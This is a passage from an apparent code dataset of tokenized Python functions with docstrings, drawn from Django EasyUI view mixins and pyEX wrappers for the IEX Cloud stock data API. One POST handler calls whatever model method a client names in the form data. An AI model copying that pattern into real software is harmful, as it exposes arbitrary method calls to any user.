\u6307\u5b9a\u4e86\u8981\u7279\u6b8a\u5904\u7406\u7684\u975efield\uff0c\u6bd4\u5982\u662f\u51fd\u6570\nremove_fields \u6307\u5b9a\u4e86\u4e0d\u663e\u793a\u7684\u5b57\u6bb5", "id": "f2309:c0:m2"}
{"signature": "def get_querydict(self):", "body": "if self.method:<EOL><INDENT>querydict =  getattr(self.request, self.method.upper())<EOL><DEDENT>else:<EOL><INDENT>querydict =  getattr(self.request, '<STR_LIT:POST>'.upper())<EOL><DEDENT>query_dict =  dict(list(querydict.items()))<EOL>return query_dict<EOL>", "docstring": "\u8fd9\u4e2a\u51fd\u6570\u8ddf self.method\u6709\u5173\nself.method \u6682\u65f6\u6ca1\u7528, querydict\u90fd\u662fPOST\u7684", "id": "f2310:c1:m1"}
{"signature": "def get_filter_dict(self):", "body": "querydict = self.get_querydict()<EOL>if '<STR_LIT>' in querydict:<EOL><INDENT>querydict.pop('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>page =  int(querydict.pop('<STR_LIT>'))<EOL>rows = int(querydict.pop('<STR_LIT>'))   <EOL>setattr(self, '<STR_LIT>', page)<EOL>setattr(self, '<STR_LIT>', rows)<EOL><DEDENT>except KeyError:<EOL><INDENT>setattr(self, '<STR_LIT>', None)<EOL>setattr(self, '<STR_LIT>', None)<EOL><DEDENT>try:<EOL><INDENT>order = querydict.pop('<STR_LIT>')<EOL>sort = querydict.pop('<STR_LIT>')<EOL>if order == '<STR_LIT>':<EOL><INDENT>setattr(self, '<STR_LIT>', sort)<EOL><DEDENT>else:<EOL><INDENT>setattr(self, '<STR_LIT>', '<STR_LIT>'% sort)<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>setattr(self, '<STR_LIT>', None)<EOL><DEDENT>remove_key = []<EOL>for key in querydict:<EOL><INDENT>if querydict[key] == '<STR_LIT>':<EOL><INDENT>remove_key.append(key)<EOL><DEDENT><DEDENT>for key in remove_key:<EOL><INDENT>querydict.pop(key)<EOL><DEDENT>return querydict<EOL>", "docstring": "\u5904\u7406\u8fc7\u6ee4\u5b57\u6bb5 \nrows   \u4e00\u9875\u663e\u793a\u591a\u5c11\u884c\npage   \u7b2c\u51e0\u9875, 1\u5f00\u59cb\norder  desc, asc      \nsort   \u6307\u5b9a\u6392\u5e8f\u7684\u5b57\u6bb5 order_by(sort)\nquerydict \u4e2d\u7684\u5b57\u6bb5\u540d\u548c\u683c\u5f0f\u9700\u8981\u53ef\u4ee5\u76f4\u63a5\u67e5\u8be2", "id": "f2310:c1:m2"}
{"signature": "def get_slice_start(self):", "body": "value = None<EOL>if self.easyui_page:<EOL><INDENT>value = (self.easyui_page -<NUM_LIT:1>) * self.easyui_rows<EOL><DEDENT>return  value<EOL>", "docstring": "\u8fd4\u56dequeryset\u5207\u7247\u7684\u5934", "id": "f2310:c1:m3"}
{"signature": "def get_slice_end(self):", "body": "value = None<EOL>if self.easyui_page:<EOL><INDENT>value = self.easyui_page  * self.easyui_rows<EOL><DEDENT>return value<EOL>", "docstring": "\u8fd4\u56dequeryset\u5207\u7247\u7684\u5c3e\u5df4", "id": "f2310:c1:m4"}
{"signature": "def get_queryset(self):", "body": "filter_dict = self.get_filter_dict()<EOL>queryset = super(EasyUIListMixin, self).get_queryset()<EOL>queryset =  queryset.filter(**filter_dict)<EOL>if self.easyui_order:<EOL><INDENT>queryset = queryset.order_by(self.easyui_order)<EOL><DEDENT>return queryset<EOL>", "docstring": "queryset", "id": "f2310:c1:m5"}
{"signature": "def get_limit_queryset(self):", "body": "queryset = self.get_queryset()<EOL>limit_queryset = queryset.all()[self.get_slice_start() :self.get_slice_end()] <EOL>return  limit_queryset<EOL>", "docstring": "\u8fd4\u56de\u5206\u9875\u4e4b\u540e\u7684queryset", "id": "f2310:c1:m6"}
{"signature": "def get_easyui_context(self, **kwargs):", "body": "context = {}<EOL>queryset = self.get_queryset()<EOL>limit_queryset =  self.get_limit_queryset()<EOL>data = model_serialize(limit_queryset, self.extra_fields, self.remove_fields)<EOL>count = queryset.count()<EOL>context.update(rows=data)<EOL>context.update(total=count)<EOL>return context<EOL>", "docstring": "\u521d\u59cb\u5316\u4e00\u4e2a\u7a7a\u7684context", "id": "f2310:c1:m7"}
{"signature": "def get_template_names(self):", "body": "names = super(EasyUIDatagridView, self).get_template_names()<EOL>names.append('<STR_LIT>')<EOL>return names<EOL>", "docstring": "datagrid\u7684\u9ed8\u8ba4\u6a21\u677f", "id": "f2311:c0:m0"}
{"signature": "def get_template_names(self):", "body": "names = super(EasyUICreateView, self).get_template_names()<EOL>names.append('<STR_LIT>')<EOL>return names<EOL>", "docstring": "datagrid\u7684\u9ed8\u8ba4\u6a21\u677f", "id": "f2311:c1:m0"}
{"signature": "def get_template_names(self):", "body": "names = super(EasyUIUpdateView, self).get_template_names()<EOL>names.append('<STR_LIT>')<EOL>return names<EOL>", "docstring": "datagrid\u7684\u9ed8\u8ba4\u6a21\u677f", "id": "f2311:c2:m0"}
{"signature": "def get_template_names(self):", "body": "names = super(EasyUIDeleteView, self).get_template_names()<EOL>names.append('<STR_LIT>')<EOL>return names<EOL>", "docstring": "datagrid\u7684\u9ed8\u8ba4\u6a21\u677f", "id": "f2311:c3:m0"}
{"signature": "def get_template_names(self):", "body": "names = super(CommandDatagridView, self).get_template_names()<EOL>names.append('<STR_LIT>')<EOL>return names<EOL>", "docstring": "datagrid\u7684\u9ed8\u8ba4\u6a21\u677f", "id": "f2311:c4:m0"}
{"signature": "@method_decorator(login_required(login_url=reverse_lazy('<STR_LIT>')))<EOL><INDENT>def dispatch(self, request, *args, **kwargs):<DEDENT>", "body": "if getattr(self, '<STR_LIT>', None) and self.permission_required:<EOL><INDENT>app_label = self.model._meta.app_label<EOL>model_name = self.model.__name__.lower()<EOL>permission_required = self.permission_required.lower()<EOL>permission = '<STR_LIT>' % {<EOL>'<STR_LIT>':app_label,<EOL>'<STR_LIT>':permission_required,<EOL>'<STR_LIT>': model_name<EOL>}<EOL>if not self.request.user.has_perm(permission):<EOL><INDENT>return HttpResponseRedirect(reverse_lazy('<STR_LIT>'))<EOL><DEDENT><DEDENT>return super(LoginRequiredMixin, self).dispatch(request, *args, **kwargs)<EOL>", "docstring": "\u589e\u52a0\u4e86\u6743\u9650\u63a7\u5236\uff0c\u5f53self\u5b58\u5728model\u548cpermission_required\u65f6\uff0c\u624d\u4f1a\u68c0\u67e5\u6743\u9650", "id": "f2312:c0:m0"}
{"signature": "def success(request):", "body": "return HttpResponse('<STR_LIT:success>')<EOL>", "docstring": "\u589e\u5220\u6539\u64cd\u4f5c\u6210\u529f\u4e4b\u540e\u8fd4\u56de\u8fd9\u4e2a\u9875\u9762", "id": "f2313:m0"}
{"signature": "def get_url(request):", "body": "menu_id = request.GET.get('<STR_LIT>')<EOL>m_object = Menu.objects.get(pk=menu_id)<EOL>namespace = m_object.namespace<EOL>viewname = m_object.viewname<EOL>url_string = '<STR_LIT>' %(namespace, viewname)<EOL>url = reverse(url_string)<EOL>return HttpResponse(url)<EOL>", "docstring": "\u901a\u8fc7menu_id\uff0c\u83b7\u53d6\u5bf9\u5e94\u7684URL\neg. /easyui/MenuListView/", "id": "f2313:m1"}
{"signature": "def post(self, request, *args, **kwargs):", "body": "query_dict = dict(list(self.request.POST.items()))<EOL>row_index = query_dict.pop('<STR_LIT>')<EOL>text = query_dict.pop('<STR_LIT:text>', None)<EOL>app_label = query_dict.pop('<STR_LIT>')<EOL>model_name  = query_dict.pop('<STR_LIT>')<EOL>method  = query_dict.pop('<STR_LIT>')<EOL>pk = query_dict.pop('<STR_LIT>')<EOL>model = get_model(app_label, model_name)<EOL>object = model.objects.get(pk=pk)<EOL>try:<EOL><INDENT>status = <NUM_LIT:0> <EOL>func = getattr(object, method)<EOL>print(query_dict)<EOL>return_value = func(**query_dict)<EOL>message = return_value<EOL><DEDENT>except Exception as error_message:<EOL><INDENT>status = <NUM_LIT:1>  <EOL>message = str(error_message)<EOL><DEDENT>if not message:<EOL><INDENT>message = text+'<STR_LIT>'<EOL><DEDENT>return self.render_to_json_response({'<STR_LIT:status>':status, '<STR_LIT:message>':message, '<STR_LIT>':row_index})<EOL>", "docstring": "Handles POST requests only\nargument:\n    row_index HTML\u4e2d\u7b2c\u51e0\u884c\u7684\u6807\u8bb0\uff0c\u539f\u503c\u8fd4\u56de\n    app_label\n    model_name\n    pk   app_label + model_name + pk \u53ef\u4ee5\u83b7\u53d6\u4e00\u4e2aobject\n    method  object + method \u5f97\u5230\u8981\u8c03\u7528\u7684\u65b9\u6cd5 \n    \u5176\u5b83\u53c2\u6570\uff0chtml\u548cmethod\u4e2d\u540c\u65f6\u5b9a\u4e49, \u5728\u4e0a\u9762\u7684\u65b9\u6cd5\u4e2d\u4f7f\u7528", "id": "f2313:c0:m1"}
{"signature": "def post(self, request, *args, **kwargs):", "body": "form_class = self.get_form_class()<EOL>form = self.get_form(form_class)<EOL>if form.is_valid():<EOL><INDENT>return self.form_valid(form)<EOL><DEDENT>else:<EOL><INDENT>return self.form_invalid(form)<EOL><DEDENT>", "docstring": "Handles POST requests, instantiating a form instance with the passed\nPOST variables and then checked for validity.", "id": "f2313:c2:m1"}
{"signature": "def get_menu_checked(self, request):", "body": "checked_id = []<EOL>qd = request.GET<EOL>query_dict = dict(list(qd.items()))<EOL>if query_dict:<EOL><INDENT>app_label = query_dict['<STR_LIT>']<EOL>model_name = query_dict['<STR_LIT>']<EOL>pk = query_dict['<STR_LIT>']<EOL>model = get_model(app_label, model_name)<EOL>object =  model.objects.get(pk=pk)<EOL>checked_id = object.menus_checked.split('<STR_LIT:U+002C>')<EOL><DEDENT>return checked_id<EOL>", "docstring": "\u83b7\u53d6\u7528\u6237\u6216\u8005\u7528\u6237\u7ec4checked\u7684\u83dc\u5355\u5217\u8868\nusermenu_form.html \u4e2d\u5b9a\u4e49\nusermenu  \u8fd9\u4e24\u4e2amodel\u7684\u5b9a\u4e49\u7c7b\u4f3c\uff0c\u6bd4\u5982menus_checked\u548cmenus_show\ngroupmenu\n@return  eg. ['1', '8', '9', '10' ]\n\u83b7\u53d6\u7528\u6237\u6216\u8005\u7528\u6237\u7ec4\u7684check_ids,\u4f1a\u7ed9\u51faapp_label, model_name, pk eg. /easyui/menulistview/?app_label=easyui&model_name=UserMenu&pk=1", "id": "f2313:c3:m1"}
{"signature": "def model_serialize(queryset, extra_fields=[], remove_fields = [], fields = []):", "body": "return_list = []<EOL>for object in queryset:<EOL><INDENT>value_dict = dict(object.get_fields(field_verbose=False, value_verbose=True, <EOL>fields=fields, remove_fields=remove_fields, extra_fields=extra_fields))<EOL>return_list.append(value_dict)<EOL><DEDENT>return return_list<EOL>", "docstring": "@param queryset  queryset\n@return a list of dict [{}, {}]\n\u81ea\u5b9a\u4e49\u7684json\u8f6c\u6362\u51fd\u6570\uff0c\u8ddfextramixin\u4e2d\u7684get_fields\u5bc6\u5207\u76f8\u5173", "id": "f2316:m0"}
{"signature": "def register_views(app_name, view_filename, urlpatterns=None):", "body": "app_module = __import__(app_name)<EOL>view_module = getattr(app_module, view_filename)<EOL>views = dir(view_module)<EOL>for view_name in views:<EOL><INDENT>if view_name.endswith('<STR_LIT>'):<EOL><INDENT>view = getattr(view_module, view_name)<EOL>if isinstance(view, object):<EOL><INDENT>if urlpatterns:<EOL><INDENT>urlpatterns  += patterns('<STR_LIT>',<EOL>url(r'<STR_LIT>' % view_name, view.as_view(),  name=view_name),<EOL>)<EOL><DEDENT>else:<EOL><INDENT>urlpatterns = patterns('<STR_LIT>',<EOL>url(r'<STR_LIT>' % view_name, view.as_view(),  name=view_name),<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return urlpatterns<EOL>", "docstring": "app_name       APP\u540d\nview_filename  views \u6240\u5728\u7684\u6587\u4ef6\nurlpatterns    url\u4e2d\u5df2\u7ecf\u5b58\u5728\u7684urlpatterns\n\nreturn urlpatterns\n\n\u53ea\u5bfc\u5165View\u7ed3\u5c3e\u7684\uff0c\u662f\u7c7b\u7684\u89c6\u56fe", "id": "f2316:m1"}
{"signature": "def crypto(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This will return an array of quotes for all Cryptocurrencies supported by the IEX API. Each element is a standard quote object with four additional keys.\n\n    https://iexcloud.io/docs/api/#crypto\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2329:m0"}
{"signature": "def cryptoDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(crypto(token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This will return an array of quotes for all Cryptocurrencies supported by the IEX API. Each element is a standard quote object with four additional keys.\n\n    https://iexcloud.io/docs/api/#crypto\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2329:m1"}
{"signature": "def sentiment(symbol, type='<STR_LIT>', date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>'.format(symbol=symbol, type=type, date=date), token, version)<EOL><DEDENT>return _getJson('<STR_LIT>'.format(symbol=symbol, type=type), token, version)<EOL>", "docstring": "This endpoint provides social sentiment data from StockTwits. Data can be viewed as a daily value, or by minute for a given date.\n\n    https://iexcloud.io/docs/api/#social-sentiment\n    Continuous\n\n    Args:\n        symbol (string); Ticker to request\n        type (string); 'daily' or 'minute'\n        date (string); date in YYYYMMDD or datetime\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2329:m2"}
{"signature": "def sentimentDF(symbol, type='<STR_LIT>', date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "ret = sentiment(symbol, type, date, token, version)<EOL>if type == '<STR_LIT>':<EOL><INDENT>ret = [ret]<EOL><DEDENT>df = pd.DataFrame(ret)<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "This endpoint provides social sentiment data from StockTwits. Data can be viewed as a daily value, or by minute for a given date.\n\n    https://iexcloud.io/docs/api/#social-sentiment\n    Continuous\n\n    Args:\n        symbol (string); Ticker to request\n        type (string); 'daily' or 'minute'\n        date (string); date in YYYYMMDD or datetime\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2329:m3"}
{"signature": "def balanceSheet(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Pulls balance sheet data. Available quarterly (4 quarters) and annually (4 years)\n\n    https://iexcloud.io/docs/api/#balance-sheet\n    Updates at 8am, 9am UTC daily\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m0"}
{"signature": "def balanceSheetDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "val = balanceSheet(symbol, token, version)<EOL>df = pd.io.json.json_normalize(val, '<STR_LIT>', '<STR_LIT>')<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "Pulls balance sheet data. Available quarterly (4 quarters) and annually (4 years)\n\n    https://iexcloud.io/docs/api/#balance-sheet\n    Updates at 8am, 9am UTC daily\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m1"}
{"signature": "def batch(symbols, fields=None, range_='<STR_LIT>', last=<NUM_LIT:10>, token='<STR_LIT>', version='<STR_LIT>'):", "body": "fields = fields or _BATCH_TYPES[:<NUM_LIT:10>]  <EOL>if not isinstance(symbols, [].__class__):<EOL><INDENT>if not isinstance(symbols, str):<EOL><INDENT>raise PyEXception('<STR_LIT>')<EOL><DEDENT><DEDENT>if isinstance(fields, str):<EOL><INDENT>fields = [fields]<EOL><DEDENT>if range_ not in _TIMEFRAME_CHART:<EOL><INDENT>raise PyEXception('<STR_LIT>' % str(_TIMEFRAME_CHART))<EOL><DEDENT>if isinstance(symbols, str):<EOL><INDENT>route = '<STR_LIT>'.format(symbols, '<STR_LIT:U+002C>'.join(fields), range_, last)<EOL>return _getJson(route, token, version)<EOL><DEDENT>if len(symbols) > <NUM_LIT:100>:<EOL><INDENT>raise PyEXception('<STR_LIT>')<EOL><DEDENT>route = '<STR_LIT>'.format('<STR_LIT:U+002C>'.join(symbols), '<STR_LIT:U+002C>'.join(fields), range_, last)<EOL>return _getJson(route, token, version)<EOL>", "docstring": "Batch several data requests into one invocation\n\n    https://iexcloud.io/docs/api/#batch-requests\n\n\n    Args:\n        symbols (list); List of tickers to request\n        fields (list); List of fields to request\n        range_ (string); Date range for chart\n        last (int);\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: results in json", "id": "f2330:m2"}
{"signature": "def batchDF(symbols, fields=None, range_='<STR_LIT>', last=<NUM_LIT:10>, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = batch(symbols, fields, range_, last, token, version)<EOL>ret = {}<EOL>if isinstance(symbols, str):<EOL><INDENT>for field in x.keys():<EOL><INDENT>ret[field] = _MAPPING[field](x[field])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for symbol in x.keys():<EOL><INDENT>for field in x[symbol].keys():<EOL><INDENT>if field not in ret:<EOL><INDENT>ret[field] = pd.DataFrame()<EOL><DEDENT>dat = x[symbol][field]<EOL>dat = _MAPPING[field](dat)<EOL>dat['<STR_LIT>'] = symbol<EOL>ret[field] = pd.concat([ret[field], dat], sort=True)<EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "Batch several data requests into one invocation\n\n    https://iexcloud.io/docs/api/#batch-requests\n\n\n    Args:\n        symbols (list); List of tickers to request\n        fields (list); List of fields to request\n        range_ (string); Date range for chart\n        last (int);\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: results in json", "id": "f2330:m3"}
{"signature": "def bulkBatch(symbols, fields=None, range_='<STR_LIT>', last=<NUM_LIT:10>, token='<STR_LIT>', version='<STR_LIT>'):", "body": "fields = fields or _BATCH_TYPES<EOL>args = []<EOL>empty_data = []<EOL>list_orig = empty_data.__class__<EOL>if not isinstance(symbols, list_orig):<EOL><INDENT>raise PyEXception('<STR_LIT>')<EOL><DEDENT>for i in range(<NUM_LIT:0>, len(symbols), <NUM_LIT>):<EOL><INDENT>args.append((symbols[i:i+<NUM_LIT>], fields, range_, last, token, version))<EOL><DEDENT>pool = ThreadPool(<NUM_LIT:20>)<EOL>rets = pool.starmap(batch, args)<EOL>pool.close()<EOL>ret = {}<EOL>for i, d in enumerate(rets):<EOL><INDENT>symbols_subset = args[i][<NUM_LIT:0>]<EOL>if len(d) != len(symbols_subset):<EOL><INDENT>empty_data.extend(list_orig(set(symbols_subset) - set(d.keys())))<EOL><DEDENT>ret.update(d)<EOL><DEDENT>for k in empty_data:<EOL><INDENT>if k not in ret:<EOL><INDENT>if isinstance(fields, str):<EOL><INDENT>ret[k] = {}<EOL><DEDENT>else:<EOL><INDENT>ret[k] = {x: {} for x in fields}<EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "Optimized batch to fetch as much as possible at once\n\n    https://iexcloud.io/docs/api/#batch-requests\n\n\n    Args:\n        symbols (list); List of tickers to request\n        fields (list); List of fields to request\n        range_ (string); Date range for chart\n        last (int);\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: results in json", "id": "f2330:m4"}
{"signature": "def bulkBatchDF(symbols, fields=None, range_='<STR_LIT>', last=<NUM_LIT:10>, token='<STR_LIT>', version='<STR_LIT>'):", "body": "dat = bulkBatch(symbols, fields, range_, last, token, version)<EOL>ret = {}<EOL>for symbol in dat:<EOL><INDENT>for field in dat[symbol]:<EOL><INDENT>if field not in ret:<EOL><INDENT>ret[field] = pd.DataFrame()<EOL><DEDENT>d = dat[symbol][field]<EOL>d = _MAPPING[field](d)<EOL>d['<STR_LIT>'] = symbol<EOL>ret[field] = pd.concat([ret[field], d], sort=True)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Optimized batch to fetch as much as possible at once\n\n    https://iexcloud.io/docs/api/#batch-requests\n\n\n    Args:\n        symbols (list); List of tickers to request\n        fields (list); List of fields to request\n        range_ (string); Date range for chart\n        last (int);\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: results in json", "id": "f2330:m5"}
{"signature": "def book(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Book data\n\n    https://iextrading.com/developer/docs/#book\n    realtime during Investors Exchange market hours\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m6"}
{"signature": "def _bookToDF(b):", "body": "quote = b.get('<STR_LIT>', [])<EOL>asks = b.get('<STR_LIT>', [])<EOL>bids = b.get('<STR_LIT>', [])<EOL>trades = b.get('<STR_LIT>', [])<EOL>df1 = pd.io.json.json_normalize(quote)<EOL>df1['<STR_LIT:type>'] = '<STR_LIT>'<EOL>df2 = pd.io.json.json_normalize(asks)<EOL>df2['<STR_LIT>'] = quote['<STR_LIT>']<EOL>df2['<STR_LIT:type>'] = '<STR_LIT>'<EOL>df3 = pd.io.json.json_normalize(bids)<EOL>df3['<STR_LIT>'] = quote['<STR_LIT>']<EOL>df3['<STR_LIT:type>'] = '<STR_LIT>'<EOL>df4 = pd.io.json.json_normalize(trades)<EOL>df4['<STR_LIT>'] = quote['<STR_LIT>']<EOL>df3['<STR_LIT:type>'] = '<STR_LIT>'<EOL>df = pd.concat([df1, df2, df3, df4], sort=True)<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "internal", "id": "f2330:m7"}
{"signature": "def bookDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = book(symbol, token, version)<EOL>df = _bookToDF(x)<EOL>return df<EOL>", "docstring": "Book data\n\n    https://iextrading.com/developer/docs/#book\n    realtime during Investors Exchange market hours\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m8"}
{"signature": "def cashFlow(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Pulls cash flow data. Available quarterly (4 quarters) or annually (4 years).\n\n    https://iexcloud.io/docs/api/#cash-flow\n    Updates at 8am, 9am UTC daily\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m9"}
{"signature": "def cashFlowDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "val = cashFlow(symbol, token, version)<EOL>df = pd.io.json.json_normalize(val, '<STR_LIT>', '<STR_LIT>')<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>df.replace(to_replace=[None], value=np.nan, inplace=True)<EOL>return df<EOL>", "docstring": "Pulls cash flow data. Available quarterly (4 quarters) or annually (4 years).\n\n    https://iexcloud.io/docs/api/#cash-flow\n    Updates at 8am, 9am UTC daily\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m10"}
{"signature": "def chart(symbol, timeframe='<STR_LIT>', date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if timeframe is not None and timeframe != '<STR_LIT>':<EOL><INDENT>if timeframe not in _TIMEFRAME_CHART:<EOL><INDENT>raise PyEXception('<STR_LIT>' % str(_TIMEFRAME_CHART))<EOL><DEDENT>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>' + '<STR_LIT:/>' + timeframe, token, version)<EOL><DEDENT>if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>' + '<STR_LIT>' + date, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Historical price/volume data, daily and intraday\n\n    https://iexcloud.io/docs/api/#historical-prices\n    Data Schedule\n    1d: -9:30-4pm ET Mon-Fri on regular market trading days\n        -9:30-1pm ET on early close trading days\n    All others:\n        -Prior trading day available after 4am ET Tue-Sat\n\n    Args:\n        symbol (string); Ticker to request\n        timeframe (string); Timeframe to request e.g. 1m\n        date (datetime): date, if requesting intraday\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m11"}
{"signature": "def _chartToDF(c):", "body": "df = pd.DataFrame(c)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT:date>')<EOL>return df<EOL>", "docstring": "internal", "id": "f2330:m12"}
{"signature": "def chartDF(symbol, timeframe='<STR_LIT>', date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "c = chart(symbol, timeframe, date, token, version)<EOL>df = pd.DataFrame(c)<EOL>_toDatetime(df)<EOL>if timeframe is not None and timeframe != '<STR_LIT>':<EOL><INDENT>_reindex(df, '<STR_LIT:date>')<EOL><DEDENT>else:<EOL><INDENT>if not df.empty:<EOL><INDENT>df.set_index(['<STR_LIT:date>', '<STR_LIT>'], inplace=True)<EOL><DEDENT>else:<EOL><INDENT>return pd.DataFrame()<EOL><DEDENT><DEDENT>return df<EOL>", "docstring": "Historical price/volume data, daily and intraday\n\n    https://iexcloud.io/docs/api/#historical-prices\n    Data Schedule\n    1d: -9:30-4pm ET Mon-Fri on regular market trading days\n        -9:30-1pm ET on early close trading days\n    All others:\n        -Prior trading day available after 4am ET Tue-Sat\n\n    Args:\n        symbol (string); Ticker to request\n        timeframe (string); Timeframe to request e.g. 1m\n        date (datetime): date, if requesting intraday\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m13"}
{"signature": "def bulkMinuteBars(symbol, dates, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>dates = [_strOrDate(date) for date in dates]<EOL>list_orig = dates.__class__<EOL>args = []<EOL>for date in dates:<EOL><INDENT>args.append((symbol, '<STR_LIT>', date, token, version))<EOL><DEDENT>pool = ThreadPool(<NUM_LIT:20>)<EOL>rets = pool.starmap(chart, args)<EOL>pool.close()<EOL>return list_orig(itertools.chain(*rets))<EOL>", "docstring": "fetch many dates worth of minute-bars for a given symbol", "id": "f2330:m14"}
{"signature": "def bulkMinuteBarsDF(symbol, dates, token='<STR_LIT>', version='<STR_LIT>'):", "body": "data = bulkMinuteBars(symbol, dates, token, version)<EOL>df = pd.DataFrame(data)<EOL>if df.empty:<EOL><INDENT>return df<EOL><DEDENT>_toDatetime(df)<EOL>df.set_index(['<STR_LIT:date>', '<STR_LIT>'], inplace=True)<EOL>return df<EOL>", "docstring": "fetch many dates worth of minute-bars for a given symbol", "id": "f2330:m15"}
{"signature": "def collections(tag, collectionName, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if tag not in _COLLECTION_TAGS:<EOL><INDENT>raise PyEXception('<STR_LIT>' % str(_COLLECTION_TAGS))<EOL><DEDENT>return _getJson('<STR_LIT>' + tag + '<STR_LIT>' + collectionName, token, version)<EOL>", "docstring": "Returns an array of quote objects for a given collection type. Currently supported collection types are sector, tag, and list\n\n\n    https://iexcloud.io/docs/api/#collections\n\n    Args:\n        tag (string);  Sector, Tag, or List\n        collectionName (string);  Associated name for tag\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m16"}
{"signature": "def collectionsDF(tag, query, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(collections(tag, query, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "Returns an array of quote objects for a given collection type. Currently supported collection types are sector, tag, and list\n\n\n    https://iexcloud.io/docs/api/#collections\n\n    Args:\n        tag (string);  Sector, Tag, or List\n        collectionName (string);  Associated name for tag\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m17"}
{"signature": "def company(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Company reference data\n\n    https://iexcloud.io/docs/api/#company\n    Updates at 4am and 5am UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m18"}
{"signature": "def _companyToDF(c, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(c)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "internal", "id": "f2330:m19"}
{"signature": "def companyDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "c = company(symbol, token, version)<EOL>df = _companyToDF(c)<EOL>return df<EOL>", "docstring": "Company reference data\n\n    https://iexcloud.io/docs/api/#company\n    Updates at 4am and 5am UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m20"}
